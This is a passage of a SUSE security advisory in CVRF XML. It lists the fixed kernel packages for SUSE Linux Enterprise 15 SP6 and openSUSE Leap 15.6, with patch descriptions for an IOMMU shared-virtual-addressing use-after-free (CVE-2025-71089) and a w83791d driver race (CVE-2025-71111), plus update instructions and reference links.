        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71085.html</URL>
        <Description>CVE-2025-71085</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256623</URL>
        <Description>SUSE Bug 1256623</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256624</URL>
        <Description>SUSE Bug 1256624</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="30">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

iommu: disable SVA when CONFIG_X86 is set

Patch series "Fix stale IOTLB entries for kernel address space", v7.

This proposes a fix for a security vulnerability related to IOMMU Shared
Virtual Addressing (SVA).  In an SVA context, an IOMMU can cache kernel
page table entries.  When a kernel page table page is freed and
reallocated for another purpose, the IOMMU might still hold stale,
incorrect entries.  This can be exploited to cause a use-after-free or
write-after-free condition, potentially leading to privilege escalation or
data corruption.

This solution introduces a deferred freeing mechanism for kernel page
table pages, which provides a safe window to notify the IOMMU to
invalidate its caches before the page is reused.


This patch (of 8):

In the IOMMU Shared Virtual Addressing (SVA) context, the IOMMU hardware
shares and walks the CPU's page tables.  The x86 architecture maps the
kernel's virtual address space into the upper portion of every process's
page table.  Consequently, in an SVA context, the IOMMU hardware can walk
and cache kernel page table entries.

The Linux kernel currently lacks a notification mechanism for kernel page
table changes, specifically when page table pages are freed and reused. 
The IOMMU driver is only notified of changes to user virtual address
mappings.  This can cause the IOMMU's internal caches to retain stale
entries for kernel VA.

Use-After-Free (UAF) and Write-After-Free (WAF) conditions arise when
kernel page table pages are freed and later reallocated.  The IOMMU could
misinterpret the new data as valid page table entries.  The IOMMU might
then walk into attacker-controlled memory, leading to arbitrary physical
memory DMA access or privilege escalation.  This is also a
Write-After-Free issue, as the IOMMU will potentially continue to write
Accessed and Dirty bits to the freed memory while attempting to walk the
stale page tables.

Currently, SVA contexts are unprivileged and cannot access kernel
mappings.  However, the IOMMU will still walk kernel-only page tables all
the way down to the leaf entries, where it realizes the mapping is for the
kernel and errors out.  This means the IOMMU still caches these
intermediate page table entries, making the described vulnerability a real
concern.

Disable SVA on x86 architecture until the IOMMU can receive notification
to flush the paging cache before freeing the CPU kernel page table pages.</Note>
    </Notes>
    <CVE>CVE-2025-71089</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71089.html</URL>
        <Description>CVE-2025-71089</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256612</URL>
        <Description>SUSE Bug 1256612</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256615</URL>
        <Description>SUSE Bug 1256615</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="31">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

hwmon: (w83791d) Convert macros to functions to avoid TOCTOU

The macro FAN_FROM_REG evaluates its arguments multiple times. When used
in lockless contexts involving shared driver data, this leads to
Time-of-Check to Time-of-Use (TOCTOU) race conditions, potentially
causing divide-by-zero errors.

Convert the macro to a static function. This guarantees that arguments
are evaluated only once (pass-by-value), preventing the race
conditions.

Additionally, in store_fan_div, move the calculation of the minimum
limit inside the update lock. This ensures that the read-modify-write
sequence operates on consistent data.

Adhere to the principle of minimal changes by only converting macros
that evaluate arguments multiple times and are used in lockless
contexts.</Note>
    </Notes>
    <CVE>CVE-2025-71111</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
